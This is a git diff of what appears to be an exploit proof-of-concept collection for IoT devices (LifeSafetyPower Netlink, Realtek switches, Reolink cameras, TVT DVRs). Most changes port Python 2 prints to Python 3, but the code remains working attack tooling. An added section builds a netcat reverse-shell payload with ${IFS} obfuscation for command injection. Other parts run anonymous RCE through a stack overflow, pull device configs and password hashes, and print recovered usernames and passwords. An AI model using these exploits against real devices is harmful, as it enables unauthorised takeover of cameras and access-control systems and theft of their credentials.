"\n[*] All done...\n" - sys.exit(0) - - + if args.https: + print("[i] HTTPS / SSL Mode Selected") + print("[i] Remote target IP:",rhost) + print("[i] Remote target PORT:",rport) + print("[i] Local target IP:",lhost) + print("[i] Local target PORT:",lport) + + rhost = rhost + ':' + rport + + headers = { + 'Content-Type' : 'application/x-www-form-urlencoded', + 'Connection':' close', + 'Cookie':' right=3; loginname=admin; Accept=yes; hash_key=kwitfbcuvnnxdjyp; viewnavi=yes', + 'User-Agent':'Chrome/5.0' + } + + RCE = "$(nc${IFS}LHOST${IFS}LPORT${IFS}-e/bin/sh)" + RCE = RCE.replace("LHOST",lhost).replace("LPORT",lport) + + try: + + # + # Check if remote is Netlink, and if running 'Apache' or 'mongoose' web server. + # (If remote are not Netlink, this function will tell and exit) + # + # True == Apache Web Server (v8.x), False == Mongoose Web Server (v7.x) + # + Netlink_Version = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).Verify_Target(headers, lhost, lport) + + # + # Check if remote target is vulnerable + # + Vulnerable = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).Check_Vulnerable(headers, lhost, lport, Netlink_Version) + + if Vulnerable: + print("[i] Remote target is vulnerable") + + # + # Try get version of remote target + # + Version = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).Get_Version(headers, lhost, lport) + + if args.v8_uri_rce: + if Netlink_Version: + result = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).URI_Decoder_RCE(headers, lhost, lport) + else: + print("[!] v8_uri_rce: Older version has the vulnerability, but not implemented") + sys.exit(1) + + # + # Anonymous: Execute RCE due to unsanitized user input direct to system() call + # + if args.v8_hash_rce: + if Netlink_Version: + result = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).v8_hash_rce(headers, lhost, lport) + else: + print("[!] v8_hash_rce: Not supported with Mongoose Web Server") + sys.exit(1) + + # + # Anonymous: Execute RCE via stack overflow + # + if args.v715_rce: + if not Netlink_Version: + result = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).v715_rce(headers, lhost, lport) + else: + print("[!] v715_rce: Not supported with Apache Web Server") + sys.exit(1) + + if args.get_config: + # + # Anonymous: Try to get all config and extract username/password hash from remote device + # + if Netlink_Version: + creds = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).Get_allcfg(headers) + if creds == False: + print("[!] Extracted Credentials Failed") + else: + print("[!] get_config: Not supported with Mongoose Web Server") + sys.exit(1) + + if args.auth_rce: + csrftoken = "" + response = "" + # + # Authenticated: Login, Add and execute RCE + # Anonymous: Combine with '--get_config' + # + Cookie, csrftoken = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).Login(csrftoken,response,headers,Cookie) + Cookie, csrftoken = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).Add_RCE_msmtp(csrftoken,response,headers,Cookie,RCE) + # + # Authenticated: Login, and remove RCE + # Anonymous: Combine with '--get_config' + # + Cookie, csrftoken = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).Login(csrftoken,response,headers,Cookie) + Cookie, csrftoken = LifeSafetyPower(rhost,proto,verbose,creds,raw_request).Del_RCE_msmtp(csrftoken,response,headers,Cookie) + else: + print("[i] Remote target not vulnerable") + + except Exception as e: + print("[!] Detect of target failed ({})".format(e)) + sys.exit(1) + + print("\n[*] All done...\n") + sys.exit(0) diff --git a/Realtek-RTL83xx-PoC.py b/Realtek-RTL83xx-PoC.py index 305ae1e..00c8c84 100644 --- a/Realtek-RTL83xx-PoC.py +++ b/Realtek-RTL83xx-PoC.py @@ -117,6 +117,7 @@ Please read the code """ +from __future__ import print_function # Have a nice day # /bashis # @@ -154,9 +155,9 @@ def DEBUG(direction, text): if debug: # Print send/recv data and current line number - print "[BEGIN {}] <{:-^60}>".format(direction, inspect.currentframe().f_back.f_lineno) - print "\n{}\n".format(text) - print "[ END {}] <{:-^60}>".format(direction, inspect.currentframe().f_back.f_lineno) + print("[BEGIN {}] <{:-^60}>".format(direction, inspect.currentframe().f_back.f_lineno)) + print("\n{}\n".format(text)) + print("[ END {}] <{:-^60}>".format(direction, inspect.currentframe().f_back.f_lineno)) return class HTTPconnect: @@ -6065,14 +6066,14 @@ def dict(self): self.target = copy.deepcopy(Vendor_Template[Vendor_ETag[targets]['template']]) self.source = Vendor_ETag[targets] self.dict_merge(self.target,self.source) - print "" + print("") tmp = "] {} {} v{} [".format(self.target['vendor'],self.target['model'],self.target['version']) - print "[{:=^78}]".format(tmp) + print("[{:=^78}]".format(tmp)) - print self.target['uri'] + print(self.target['uri']) - print "" # make it nicer to read + print("") # make it nicer to read LEN = len(self.target['exploit']) for exploits in self.target['exploit']: @@ -6080,24 +6081,24 @@ def dict(self): LEN = LEN - 1 tmp = "] {}({}) [".format("Exploits ",LEN) - print "[{:-^78}]".format(tmp) + print("[{:-^78}]".format(tmp)) for exploits in self.target['exploit']: tmp = self.target['exploit'][exploits] if self.target['exploit'][exploits]['vulnerable']: log.success("{:.<54}[Authenticated: {}]\n{}\n".format(exploits, tmp['authenticated'] ,tmp['description'])) - print "" # make it nicer to read + print("") # make it nicer to read tmp = "] {}({}) [".format("Verification ",len(self.target['verify'])) - print "[{:-^78}]".format(tmp) + print("[{:-^78}]".format(tmp)) for verification in self.target['verify']: tmp = self.target['verify'][verification] log.success("{:.<54}[Authenticated: {}]\n{}\n".format(verification, tmp['authenticated'] ,tmp['description'])) - print "" + print("") return False elif self.ETag == 'help': sorted_dict = OrderedDict(sorted(Vendor_ETag.items(), key=lambda t: t[1])) # sorted by ETag value @@ -6106,7 +6107,7 @@ def dict(self): self.source = Vendor_ETag[targets] self.dict_merge(self.target,self.source) log.info("ETag: {:<11} [{} {} v{}]".format(targets, self.target['vendor'],self.target['model'],self.target['version'])) - print "" + print("") return False @@ -7361,10 +7362,10 @@ def check_remote(self,etag): if self.manualETag: if self.manualETag == 'help': - print "" + print("") remote.success("List of known targets") elif self.manualETag == 'info': - print "" + print("") remote.success("Brief information of known targets") target = Vendor(self.manualETag).dict() @@ -7424,7 +7425,7 @@ def check_remote(self,etag): info_leak.success(response[check+2]) return target info_leak.failure("Not found") - print response + print(response) return target @@ -7484,7 +7485,7 @@ def add_user(self,target): return False add.failure("Failed") - print response + print(response) return False # @@ -7560,7 +7561,7 @@ def del_user(self, target): return False remove.failure("Failed") - print result + print(result) return False # @@ -7606,7 +7607,7 @@ def logout(self, target): return True else: logout.failure("Failed") - print result + print(result) return False # @@ -7664,7 +7665,7 @@ def login(self,target): return False elif len(response) == check + 1: login.failure("Not supported device") - print response + print(response) return False else: result = json.loads(response) @@ -8112,7 +8113,7 @@ def SNTP(self, target): if len(sys.argv) == 1: arg_parser.parse_args(['-h']) - print "" + print("") log.info(INFO) if args.report: diff --git a/Reolink-IPC-RCE.py b/Reolink-IPC-RCE.py index e1cbb7c..dca51b2 100644 --- a/Reolink-IPC-RCE.py +++ b/Reolink-IPC-RCE.py @@ -42,6 +42,7 @@ exit $ """ +from __future__ import print_function import socket import sys import urllib, urllib2, httplib @@ -75,17 +76,17 @@ def Send(self, uri, query_headers, query_data, ID): url = '{}://{}{}'.format(self.proto, self.host, self.uri) if self.verbose: - print "[Verbose] Sending:", url + print("[Verbose] Sending:", url) if self.proto == 'https': if hasattr(ssl, '_create_unverified_context'): - print "[i] Creating SSL Unverified Context" + print("[i] Creating SSL Unverified Context") ssl._create_default_https_context = ssl._create_unverified_context if self.credentials: Basic_Auth = self.credentials.split(':') if self.verbose: - print "[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1] + print("[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1]) try: pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm() pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1]) @@ -93,11 +94,11 @@ def Send(self, uri, query_headers, query_data, ID): opener = urllib2.build_opener(auth_handler) urllib2.install_opener(opener) except Exception as e: - print "[!] Basic Auth Error:",e + print("[!] Basic Auth Error:",e) sys.exit(1) if self.noexploit and not self.verbose: - print "[<] 204 Not Sending!" + print("[<] 204 Not Sending!") html = "Not sending any data" return html else: @@ -108,7 +109,7 @@ def Send(self, uri, query_headers, query_data, ID): try: rsp = urllib2.urlopen(req) except Exception as e: - print "[<] {}".format(str(e)) + print("[<] {}".format(str(e))) return False if self.Raw: @@ -210,10 +211,10 @@ def Host(self,HOST): arg_parser.add_argument('-v','--verbose', required=False, default=False, action='store_true', help='Verbose mode [Default: False]') args = arg_parser.parse_args() except Exception as e: - print INFO,"\nError: {}\n".format(str(e)) + print(INFO,"\nError: {}\n".format(str(e))) sys.exit(1) - print INFO + print(INFO) if args.verbose: verbose = True @@ -235,33 +236,33 @@ def Host(self,HOST): # Check if RPORT is valid if not Validate(verbose).Port(rport): - print "[!] Invalid RPORT - Choose between 1 and 65535" + print("[!] Invalid RPORT - Choose between 1 and 65535") sys.exit(1) # Check if LPORT is valid if not Validate(verbose).Port(lport): - print "[!] Invalid LPORT - Choose between 1 and 65535" + print("[!] Invalid LPORT - Choose between 1 and 65535") sys.exit(1) # Check if RHOST is valid IP or FQDN, get IP back rhost = Validate(verbose).Host(rhost) if not rhost: - print "[!] Invalid RHOST" + print("[!] Invalid RHOST") sys.exit(1) # Check if LHOST is valid IP or FQDN, get IP back lhost = Validate(verbose).Host(lhost) if not lhost: - print "[!] Invalid LHOST" + print("[!] Invalid LHOST") sys.exit(1) # # Validation done, start print out stuff to the user # - print "[i] Remote target IP:",rhost - print "[i] Remote target PORT:",rport - print "[i] Connect back IP:",lhost - print "[i] Connect back PORT:",lport + print("[i] Remote target IP:",rhost) + print("[i] Remote target PORT:",rport) + print("[i] Connect back IP:",lhost) + print("[i] Connect back PORT:",lport) remote_host = rhost+':'+rport @@ -313,82 +314,82 @@ def Host(self,HOST): # # Login # - print "[>] Sending: Login, Creds: {}".format(credentials) + print("[>] Sending: Login, Creds: {}".format(credentials)) URI = '/cgi-bin/api.cgi?cmd=Login&token=null' response = HTTPconnect(remote_host,proto,verbose,credentials,False,noexploit).Send(URI,headers,json.dumps(LOGIN),None) if response: JSON = json.loads(response) if verbose: - print json.dumps(JSON,indent=4) + print(json.dumps(JSON,indent=4)) if JSON[0]['code'] != 0: - print "[<] cmd: {}, error: {}".format(JSON[0]['cmd'],JSON[0]['error']['detail']) - print "[!] Exit" + print("[<] cmd: {}, error: {}".format(JSON[0]['cmd'],JSON[0]['error']['detail'])) + print("[!] Exit") sys.exit(1) else: - print response + print(response) sys.exit(1) token = JSON[0]['value']['Token']['name'] - print "[<] cmd: {}, token: {}".format(JSON[0]['cmd'],token) + print("[<] cmd: {}, token: {}".format(JSON[0]['cmd'],token)) # # RCE # - print "[>] Sending: TestEmail RCE" + print("[>] Sending: TestEmail RCE") URI = '/cgi-bin/api.cgi?cmd=TestEmail&file=config-file&token=' + token response = HTTPconnect(remote_host,proto,verbose,credentials,False,noexploit).Send(URI,headers,json.dumps(RCE),None) if response: JSON = json.loads(response) if verbose: - print json.dumps(JSON,indent=4) + print(json.dumps(JSON,indent=4)) if JSON[0]['code'] != 0: - print "[<] cmd: {}, error: {}".format(JSON[0]['cmd'],JSON[0]['error']['detail']) - print "[>] Sending: Logout" + print("[<] cmd: {}, error: {}".format(JSON[0]['cmd'],JSON[0]['error']['detail'])) + print("[>] Sending: Logout") URI = '/cgi-bin/api.cgi?cmd=Logout&token=' + token response = HTTPconnect(remote_host,proto,verbose,credentials,False,noexploit).Send(URI,headers,json.dumps(LOGOUT),None) if response: JSON = json.loads(response) if verbose: - print json.dumps(JSON,indent=4) + print(json.dumps(JSON,indent=4)) if JSON[0]['code'] != 0: - print "[<] cmd: {}, error: {}".format(JSON[0]['cmd'],JSON[0]['error']['detail']) - print "[!] Exit" + print("[<] cmd: {}, error: {}".format(JSON[0]['cmd'],JSON[0]['error']['detail'])) + print("[!] Exit") sys.exit(1) else: - print response + print(response) sys.exit(1) - print "[<] cmd: {}, result: {}".format(JSON[0]['cmd'],JSON[0]['value']['rspCode']) + print("[<] cmd: {}, result: {}".format(JSON[0]['cmd'],JSON[0]['value']['rspCode'])) - print "[!] Exit" + print("[!] Exit") sys.exit(1) else: - print response + print(response) sys.exit(1) - print "[<] cmd: {}, result: {}".format(JSON[0]['cmd'],JSON[0]['value']['rspCode']) + print("[<] cmd: {}, result: {}".format(JSON[0]['cmd'],JSON[0]['value']['rspCode'])) # # Logout # - print "[>] Sending: Logout" + print("[>] Sending: Logout") URI = '/cgi-bin/api.cgi?cmd=Logout&token=' + token response = HTTPconnect(remote_host,proto,verbose,credentials,False,noexploit).Send(URI,headers,json.dumps(LOGOUT),None) if response: JSON = json.loads(response) if verbose: - print json.dumps(JSON,indent=4) + print(json.dumps(JSON,indent=4)) if JSON[0]['code'] != 0: - print "[<] cmd: {}, error: {}".format(JSON[0]['cmd'],JSON[0]['error']['detail']) - print "[!] Exit" + print("[<] cmd: {}, error: {}".format(JSON[0]['cmd'],JSON[0]['error']['detail'])) + print("[!] Exit") sys.exit(1) else: - print response + print(response) sys.exit(1) - print "[<] cmd: {}, result: {}".format(JSON[0]['cmd'],JSON[0]['value']['rspCode']) + print("[<] cmd: {}, result: {}".format(JSON[0]['cmd'],JSON[0]['value']['rspCode'])) - print "[i] All done" + print("[i] All done") # [EOF] diff --git a/TVT-PoC.py b/TVT-PoC.py index 9a06ea6..c92d651 100644 --- a/TVT-PoC.py +++ b/TVT-PoC.py @@ -14,6 +14,7 @@ # OEM Vendors (+80): https://ipvm.com/forums/video-surveillance/topics/a-list-of-tvt-s-79-dvr-oems (Not complete list) # # +from __future__ import print_function import socket import select import sys @@ -51,17 +52,17 @@ def Send(self, uri, query_headers, query_data, ID): url = '{}://{}{}'.format(self.proto, self.host, self.uri) if self.verbose: - print "[Verbose] Sending:", url + print("[Verbose] Sending:", url) if self.proto == 'https': if hasattr(ssl, '_create_unverified_context'): - print "[i] Creating SSL Unverified Context" + print("[i] Creating SSL Unverified Context") ssl._create_default_https_context = ssl._create_unverified_context if self.credentials: Basic_Auth = self.credentials.split(':') if self.verbose: - print "[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1] + print("[Verbose] User:",Basic_Auth[0],"Password:",Basic_Auth[1]) try: pwd_mgr = urllib2.HTTPPasswordMgrWithDefaultRealm() pwd_mgr.add_password(None, url, Basic_Auth[0], Basic_Auth[1]) @@ -69,11 +70,11 @@ def Send(self, uri, query_headers, query_data, ID): opener = urllib2.build_opener(auth_handler) urllib2.install_opener(opener) except Exception as e: - print "[!] Basic Auth Error:",e + print("[!] Basic Auth Error:",e) sys.exit(1) if self.noexploit and not self.verbose: - print "[<] 204 Not Sending!" + print("[<] 204 Not Sending!") html = "Not sending any data" return html else: @@ -85,9 +86,9 @@ def Send(self, uri, query_headers, query_data, ID): rsp = urllib2.urlopen(req) except Exception as e: if not hasattr (e,'reason'): - print "[<] Request is most likely being blocked ({})".format(str(e)) + print("[<] Request is most likely being blocked ({})".format(str(e))) else: - print "[<] Payload response failed: {}".format(str(e)) + print("[<] Payload response failed: {}".format(str(e))) return False if self.Raw: @@ -178,9 +179,9 @@ def APIConfigClient(self, lhost, lport, cmd, request): if self.rport == '4567': TVT_bin = base64.b64decode(response[12]) # Base64 'SystemConfig' XML_2_JSON = self.GetXML_2_JSON(TVT_bin) - print "[i] Dumping Config" + print("[i] Dumping Config") for what in XML_2_JSON.keys(): - print json.dumps(XML_2_JSON[what],indent=4) + print(json.dumps(XML_2_JSON[what],indent=4)) else: if (self.GetDeviceInfo_HTTP(lhost, lport,True)): # Light version of 'SystemConfig' return True @@ -200,7 +201,7 @@ def APIConfigClient(self, lhost, lport, cmd, request): elif self.cmd == 'doLogin': if self.rport == '4567': - print "[!] Login do not work here, no need for it..." + print("[!] Login do not work here, no need for it...") return True else: if (self.doLogin_HTTP(lhost, lport)): @@ -219,7 +220,7 @@ def APIConfigClient(self, lhost, lport, cmd, request): file = open(rhost + '_QR.png','wb') file.write(QR_img) file.close() - print "[i] QR Image saved: {}".format(rhost + '_QR.png') + print("[i] QR Image saved: {}".format(rhost + '_QR.png')) else: if (self.queryQRInfo_HTTP(self.lhost, self.lport)): @@ -232,7 +233,7 @@ def APIConfigClient(self, lhost, lport, cmd, request): TVT_bin = base64.b64decode(response[12]) # Base64 'SystemConfig' XML_2_JSON = self.GetXML_2_JSON(TVT_bin) username, password = self.GetLoginPassword(TVT_bin, XML_2_JSON) - print "[i] Username: {}, Password: {}".format(username,password) + print("[i] Username: {}, Password: {}".format(username,password)) else: if (self.queryUserList_HTTP(self.lhost, self.lport)): return True @@ -250,7 +251,7 @@ def APIConfigClient(self, lhost, lport, cmd, request): if self.rport == '4567': self.sock.close() - print "[i] Disconnected" + print("[i] Disconnected") # # Stuff for HTTP/HTTPS Access @@ -280,7 +281,7 @@ def queryQRInfo_HTTP(self, lhost, lport): file = open(rhost + '_QR.png','wb') file.write(response) file.close() - print "[i] QR Image saved: {}".format(rhost + '_QR.png') + print("[i] QR Image saved: {}".format(rhost + '_QR.png')) return True def doLogin_HTTP(self, lhost, lport): @@ -302,31 +303,31 @@ def doLogin_HTTP(self, lhost, lport): MSG = '' URI = '/doLogin' - print "[>] Query for username(s)/password(s)" + print("[>] Query for username(s)/password(s)") response = HTTPconnect(self.remote_host,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,headers,MSG,None) if not response: return False self.XML_2_JSON = xmltodict.parse(response) if self.XML_2_JSON['response']['status'] == 'success': - print "[<] 200 OK" + print("[<] 200 OK") # print json.dumps(self.XML_2_JSON['response'],indent=4) for who in self.XML_2_JSON['response']['content']: if who == 'userId': - print "[<] User ID: {}".format(self.XML_2_JSON['response']['content']['userId']) + print("[<] User ID: {}".format(self.XML_2_JSON['response']['content']['userId'])) elif who == 'adminName': - print "[<] Admin Name: {}".format(self.XML_2_JSON['response']['content']['adminName']) + print("[<] Admin Name: {}".format(self.XML_2_JSON['response']['content']['adminName'])) elif who == 'sessionId': - print "[<] Session ID: {}".format(self.XML_2_JSON['response']['content']['sessionId']) + print("[<] Session ID: {}".format(self.XML_2_JSON['response']['content']['sessionId'])) elif who == 'resetPassword': - print "[<] Reset Password: {}".format(base64.b64decode(self.XML_2_JSON['response']['content']['resetPassword'])) + print("[<] Reset Password: {}".format(base64.b64decode(self.XML_2_JSON['response']['content']['resetPassword']))) return True else: if self.XML_2_JSON['response']['errorCode'] == '536870948': - print "[<] Wrong Password!" + print("[<] Wrong Password!") elif self.XML_2_JSON['response']['errorCode'] == '536870947': - print "[<] Wrong Username!" + print("[<] Wrong Username!") else: - print json.dumps(self.XML_2_JSON['response'],indent=4) + print(json.dumps(self.XML_2_JSON['response'],indent=4)) return False def queryUserList_HTTP(self, lhost, lport): @@ -348,31 +349,31 @@ def queryUserList_HTTP(self, lhost, lport): MSG = '' URI = '/queryUserList' - print "[>] Query for username(s)/password(s)" + print("[>] Query for username(s)/password(s)") response = HTTPconnect(self.remote_host,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,headers,MSG,None) if not response: return False self.XML_2_JSON = xmltodict.parse(response) if self.XML_2_JSON['response']['status'] == 'success': - print "[<] 200 OK" + print("[<] 200 OK") # print json.dumps(self.XML_2_JSON['response'],indent=4) # One User only for who in self.XML_2_JSON['response']['content']['item']: if who == 'userName': - print "[<] Username: {}, Password: {}".format(self.XML_2_JSON['response']['content']['item']['userName'], self.XML_2_JSON['response']['content']['item']['password']) + print("[<] Username: {}, Password: {}".format(self.XML_2_JSON['response']['content']['item']['userName'], self.XML_2_JSON['response']['content']['item']['password'])) return True # Several Users for who in range(0, len(self.XML_2_JSON['response']['content']['item'])): if (self.XML_2_JSON['response']['content']['item'][who]['enabled'] == 'true'): - print "[<] Username: {}, Password: {}".format(self.XML_2_JSON['response']['content']['item'][who]['userName'], self.XML_2_JSON['response']['content']['item'][who]['password']) + print("[<] Username: {}, Password: {}".format(self.XML_2_JSON['response']['content']['item'][who]['userName'], self.XML_2_JSON['response']['content']['item'][who]['password'])) return True else: if self.XML_2_JSON['response']['errorCode'] == '536870948': - print "[<] Wrong Password!" + print("[<] Wrong Password!") elif self.XML_2_JSON['response']['errorCode'] == '536870947': - print "[<] Wrong Username!" + print("[<] Wrong Username!") else: - print json.dumps(self.XML_2_JSON['response'],indent=4) + print(json.dumps(self.XML_2_JSON['response'],indent=4)) return False def GetDeviceInfo_HTTP(self, lhost, lport, dump): @@ -395,48 +396,48 @@ def GetDeviceInfo_HTTP(self, lhost, lport, dump): MSG = '' URI = '/queryBasicCfg' - print "[>] Get info about remote target" + print("[>] Get info about remote target") response = HTTPconnect(self.remote_host,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,headers,MSG,None) if not response: return False self.XML_2_JSON = xmltodict.parse(response) if self.XML_2_JSON['response']['status'] == 'success': - print "[<] 200 OK" + print("[<] 200 OK") if self.dump: - print json.dumps(self.XML_2_JSON,indent=4) + print(json.dumps(self.XML_2_JSON,indent=4)) return True else: if self.XML_2_JSON['response']['errorCode'] == '536870948': - print "[<] Wrong Password!" + print("[<] Wrong Password!") elif self.XML_2_JSON['response']['errorCode'] == '536870947': - print "[<] Wrong Username!" + print("[<] Wrong Username!") else: - print json.dumps(self.XML_2_JSON['response'],indent=4) + print(json.dumps(self.XML_2_JSON['response'],indent=4)) return False for tmp2 in self.XML_2_JSON['response'].keys(): if tmp2 == 'content': for tmp3 in self.XML_2_JSON['response'][tmp2].keys(): if tmp3 == 'softwareVersion': - print "[i] Firmware Version: {}".format(self.XML_2_JSON['response'][tmp2]['softwareVersion']) + print("[i] Firmware Version: {}".format(self.XML_2_JSON['response'][tmp2]['softwareVersion'])) elif tmp3 == 'kenerlVersion': - print "[i] Kernel Version: {}".format(self.XML_2_JSON['response'][tmp2]['kenerlVersion']) + print("[i] Kernel Version: {}".format(self.XML_2_JSON['response'][tmp2]['kenerlVersion'])) elif tmp3 == 'launchDate': - print "[i] Software Date: {}".format(self.XML_2_JSON['response'][tmp2]['launchDate']) + print("[i] Software Date: {}".format(self.XML_2_JSON['response'][tmp2]['launchDate'])) elif tmp3 == 'hardwareVersion': - print "[i] Hardware Version: {}".format(self.XML_2_JSON['response'][tmp2]['hardwareVersion']) + print("[i] Hardware Version: {}".format(self.XML_2_JSON['response'][tmp2]['hardwareVersion'])) elif tmp3 == 'customerId': - print "[i] Customer/OEM ID: {}".format(self.XML_2_JSON['response'][tmp2]['customerId']) + print("[i] Customer/OEM ID: {}".format(self.XML_2_JSON['response'][tmp2]['customerId'])) elif tmp3 == 'manufacturer': - print "[i] Manufacture/OEM: {}".format(self.XML_2_JSON['response'][tmp2]['manufacturer']['item'][0]['@translateKey']) + print("[i] Manufacture/OEM: {}".format(self.XML_2_JSON['response'][tmp2]['manufacturer']['item'][0]['@translateKey'])) elif tmp3 == 'sn': - print "[i] Serial Number: {}".format(self.XML_2_JSON['response'][tmp2]['sn']) + print("[i] Serial Number: {}".format(self.XML_2_JSON['response'][tmp2]['sn'])) elif tmp3 == 'productModel': - print "[i] Device Model: {}".format(self.XML_2_JSON['response'][tmp2]['productModel']) + print("[i] Device Model: {}".format(self.XML_2_JSON['response'][tmp2]['productModel'])) elif tmp3 == 'name': - print "[i] Device Name: {}".format(self.XML_2_JSON['response'][tmp2]['name']) + print("[i] Device Name: {}".format(self.XML_2_JSON['response'][tmp2]['name'])) elif tmp3 == 'defaultUser': - print "[i] Default User: {}".format(self.XML_2_JSON['response'][tmp2]['defaultUser']['item']['#text']) + print("[i] Default User: {}".format(self.XML_2_JSON['response'][tmp2]['defaultUser']['item']['#text'])) return True def RCE_HTTP(self, lhost, lport): @@ -500,39 +501,39 @@ def RCE_HTTP(self, lhost, lport): # # Enable RCE and execute # - print "[>] Adding and executing RCE" + print("[>] Adding and executing RCE") response = HTTPconnect(self.remote_host,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,headers,ADD_RCE,None) if not response: return False XML_2_JSON = xmltodict.parse(response) if XML_2_JSON['response']['status'] == 'success': - print "[<] 200 OK" + print("[<] 200 OK") elif XML_2_JSON['response']['status'] == 'fail': if self.XML_2_JSON['response']['errorCode'] == '536870948': - print "[<] Wrong Password!" + print("[<] Wrong Password!") elif self.XML_2_JSON['response']['errorCode'] == '536870947': - print "[<] Wrong Username!" + print("[<] Wrong Username!") else: - print json.dumps(self.XML_2_JSON['response'],indent=4) + print(json.dumps(self.XML_2_JSON['response'],indent=4)) return False # # Delete RCE # - print "[>] Removing RCE" + print("[>] Removing RCE") response = HTTPconnect(self.remote_host,self.proto,self.verbose,self.credentials,False,self.noexploit).Send(URI,headers,DEL_RCE,None) if not response: return False XML_2_JSON = xmltodict.parse(response) if XML_2_JSON['response']['status'] == 'success': - print "[<] 200 OK" + print("[<] 200 OK") elif XML_2_JSON['response']['status'] == 'fail': if self.XML_2_JSON['response']['errorCode'] == '536870948': - print "[<] Wrong Password!" + print("[<] Wrong Password!") elif self.XML_2_JSON['response']['errorCode'] == '536870947': - print "[<] Wrong Username!" + print("[<] Wrong Username!") else: - print json.dumps(self.XML_2_JSON['response'],indent=4) + print(json.dumps(self.XML_2_JSON['response'],indent=4)) return False return True @@ -606,25 +607,25 @@ def Extract_Info(self, XML_2_JSON): if tmp2 == 'content': for tmp3 in self.XML_2_JSON[what]['response'][tmp2].keys(): if tmp3 == 'softwareVersion': - print "[i] Firmware Version: {}".format(self.XML_2_JSON[what]['response'][tmp2]['softwareVersion']) + print("[i] Firmware Version: {}".format(self.XML_2_JSON[what]['response'][tmp2]['softwareVersion'])) elif tmp3 == 'kenerlVersion': - print "[i] Kernel Version: {}".format(self.XML_2_JSON[what]['response'][tmp2]['kenerlVersion']) + print("[i] Kernel Version: {}".format(self.XML_2_JSON[what]['response'][tmp2]['kenerlVersion'])) elif tmp3 == 'launchDate': - print "[i] Software Date: {}".format(self.XML_2_JSON[what]['response'][tmp2]['launchDate']) + print("[i] Software Date: {}".format(self.XML_2_JSON[what]['response'][tmp2]['launchDate'])) elif tmp3 == 'hardwareVersion': - print "[i] Hardware Version: {}".format(self.XML_2_JSON[what]['response'][tmp2]['hardwareVersion']) + print("[i] Hardware Version: {}".format(self.XML_2_JSON[what]['response'][tmp2]['hardwareVersion'])) elif tmp3 == 'customerId': - print "[i] Customer/OEM ID: {}".format(self.XML_2_JSON[what]['response'][tmp2]['customerId']) + print("[i] Customer/OEM ID: {}".format(self.XML_2_JSON[what]['response'][tmp2]['customerId'])) elif tmp3 == 'manufacturer': - print "[i] Manufacture/OEM: {}".format(self.XML_2_JSON[what]['response'][tmp2]['manufacturer']['item'][0]['@translateKey']) + print("[i] Manufacture/OEM: {}".format(self.XML_2_JSON[what]['response'][tmp2]['manufacturer']['item'][0]['@translateKey'])) elif tmp3 == 'sn': - print "[i] Serial Number: {}".format(self.XML_2_JSON[what]['response'][tmp2]['sn']) + print("[i] Serial Number: {}".format(self.XML_2_JSON[what]['response'][tmp2]['sn'])) elif tmp3 == 'productModel': - print "[i] Device Model: {}".format(self.XML_2_JSON[what]['response'][tmp2]['productModel']) + print("[i] Device Model: {}".format(self.XML_2_JSON[what]['response'][tmp2]['productModel'])) elif tmp3 == 'name': - print "[i] Device Name: {}".format(self.XML_2_JSON[what]['response'][tmp2]['name']) + print("[i] Device Name: {}".format(self.XML_2_JSON[what]['response'][tmp2]['name'])) elif tmp3 == 'defaultUser': - print "[i] Default User: {}".format(self.XML_2_JSON[what]['response'][tmp2]['defaultUser']['item']['#text']) + print("[i] Default User: {}".format(self.XML_2_JSON[what]['response'][tmp2]['defaultUser']['item']['#text'])) def RCE_4567(self, lhost, lport, sock): self.lhost = lhost @@ -685,11 +686,11 @@ def RCE_4567(self, lhost, lport, sock): ADD_MESSAGE = ADD_MESSAGE.replace("CONTENT_LENGTH",str(len(base64.b64encode(ADD_RCE)))) ADD_MESSAGE += base64.b64encode(ADD_RCE) - print "[i] Adding and executing RCE" + print("[i] Adding and executing RCE") response = self.Send_4567(self.sock, ADD_MESSAGE) tmp = response.split() if tmp[1] != '200': - print "[!] Error".format(response) + print("[!] Error".format(response)) return False # @@ -702,10 +703,10 @@ def RCE_4567(self, lhost, lport, sock): DEL_MESSAGE = DEL_MESSAGE.replace("CONTENT_LENGTH",str(len(base64.b64encode(DEL_RCE)))) DEL_MESSAGE += base64.b64encode(DEL_RCE) - print "[i] Removing RCE" + print("[i] Removing RCE") response = self.Send_4567(self.sock, DEL_MESSAGE) if tmp[1] != '200': - print "[!] Error".format(response) + print("[!] Error".format(response)) return False def Send_4567(self, sock, message): @@ -713,15 +714,15 @@ def Send_4567(self, sock, message): self.message = message try: - print "[>] Sending" + print("[>] Sending") self.sock.send(self.message) response = self.sock.recv(self.BUFFER_SIZE) except Exception as e: - print "[!] Send failed ({})".format(e) + print("[!] Send failed ({})".format(e)) self.sock.close() sys.exit(1) - print "[<] 200 OK" + print("[<] 200 OK") return response def Connect_4567(self): @@ -734,27 +735,27 @@ def Connect_4567(self): try: self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.sock.connect((self.rhost, TVT_rport)) - print "[i] Connected" + print("[i] Connected") except Exception as e: - print "[!] Connection failed ({})".format(e) + print("[!] Connection failed ({})".format(e)) sys.exit(1) try: - print "[>] Verifying access" + print("[>] Verifying access") self.sock.send(MESSAGE) response = self.sock.recv(self.BUFFER_SIZE) except Exception as e: - print "[!] Sending failed ({})".format(e) + print("[!] Sending failed ({})".format(e)) self.sock.close() sys.exit(1) if response != MESSAGE: - print "[!] NO MATCH\n[!] Response: {}".format(response) + print("[!] NO MATCH\n[!] Response: {}".format(response)) self.sock.close() sys.exit(0) else: - print "[<] 200 OK" + print("[<] 200 OK") return self.sock def GetSystemConfig(self, sock, request): @@ -794,7 +795,7 @@ def GetSystemConfig(self, 